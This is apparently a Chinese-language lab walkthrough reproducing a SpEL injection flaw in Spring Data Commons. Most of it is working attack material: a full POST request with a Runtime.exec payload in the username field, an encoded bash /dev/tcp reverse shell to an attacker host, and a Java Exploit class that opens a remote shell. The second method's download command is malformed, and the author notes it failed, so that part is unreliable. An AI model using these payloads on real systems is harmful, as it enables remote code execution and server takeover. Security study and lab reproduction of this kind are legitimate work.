目录
看到这个还是先了解一下什么是spring Data Commons?
spring Data
Spring Data 是Spring 的一个子项目, 旨在统一和简化对各类型持久化存储, 而不拘泥于是关系型数据库还是NoSQL 数据存储。无论是哪种持久化存储, 数据访问对象(或称作为DAO,即Data Access Objects)通常都会提供对单一域对象的CRUD (创建、读取、更新、删除)操作、查询方法、排序和分页方法等。Spring Data则提供了基于这些层面的统一接口(CrudRepository,PagingAndSortingRepository)以及对持久化存储的实现。
springdata包含的子项目
spring Data Commons-提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化
漏洞原因
spring Data Commons ,由于特殊元素的不正确中和而导致的属性绑定器漏洞。存在一处spEL表达式注入漏洞,攻击者可以注入恶意spEL表达式执行任意命令。
环境
打开ip+8080/users查看
漏洞复现
构造POC
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
在页面注册用burpsuite抓包
网页如果返回500可以进行攻击方判断是否成功
反弹shell
先开启一个监听端口9333
Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:
bash$IFS$9-i>&/dev/tcp/XXXXXX/port<&1
用base64在线编码把ip改成自己的攻击机
接着替换payload
反弹成功
还有下面这是另一个方法!
上传一个编译的.class文件
poc如下
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
用javac编译成.class文件
javac 文件名.java
上传到root目录里
然后在服务器开启一个http服务用于访问下载文件:
查看是否创成功。
修改burpsuite内容,执行访问下载命令:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("http://目标IP::9999/Exploit.class")]=&password=&repeatedPassword=
可以看到下载成功
这个最后反弹命令不对没成功呜呜呜
今天就是这个样子了~